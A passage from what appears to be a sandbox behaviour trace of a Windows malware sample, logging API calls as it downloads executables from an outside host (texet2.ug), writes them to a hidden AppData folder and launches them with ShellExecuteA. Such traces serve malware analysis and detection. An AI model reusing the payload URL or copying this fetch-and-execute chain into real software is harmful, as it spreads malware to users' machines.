hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.552] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.553] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.555] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.587] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.591] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.622] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.624] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.658] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.658] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.659] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.659] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.690] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.725] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.726] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.727] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.727] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.760] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.761] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.795] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.797] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x1200) returned 1 [0047.798] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x1200, lpOverlapped=0x0) returned 1 [0047.798] CloseHandle (hObject=0x688) returned 1 [0047.801] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0047.806] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0047.806] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0047.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ba0 | out: hHeap=0x670000) returned 1 [0047.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0047.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0047.850] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0047.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30ff2c8 [0047.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x862) returned 0x306a418 [0047.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ff2c8, cbMultiByte=-1, lpWideCharStr=0x306a418, cchWideChar=1073 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin.exe") returned 46 [0047.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x3100c28 [0047.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0047.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ff2c8 | out: hHeap=0x670000) returned 1 [0047.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0047.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x831) returned 0x3114f60 [0047.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x3114f60, cbMultiByte=2097, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 46 [0047.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0047.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3114f60 | out: hHeap=0x670000) returned 1 [0047.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0047.851] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://texet2.ug/tesptc/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0047.960] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0047.960] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0047.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30ff238 [0047.961] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5108 [0047.961] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ff238 | out: hHeap=0x670000) returned 1 [0047.961] lstrcpyA (in: lpString1=0x30693c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" [0047.961] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe") returned 1 [0047.961] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0047.961] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0047.963] SetFilePointer (in: hFile=0x6ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.963] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.996] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.997] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.032] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.063] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.064] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.064] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.064] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.098] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.132] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.132] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.133] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.133] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.166] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.167] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.201] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.201] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.234] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.235] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.269] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.270] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.304] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.304] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.338] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.338] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.339] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.339] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.372] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.373] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.373] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.373] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.406] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.407] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.441] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.442] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, 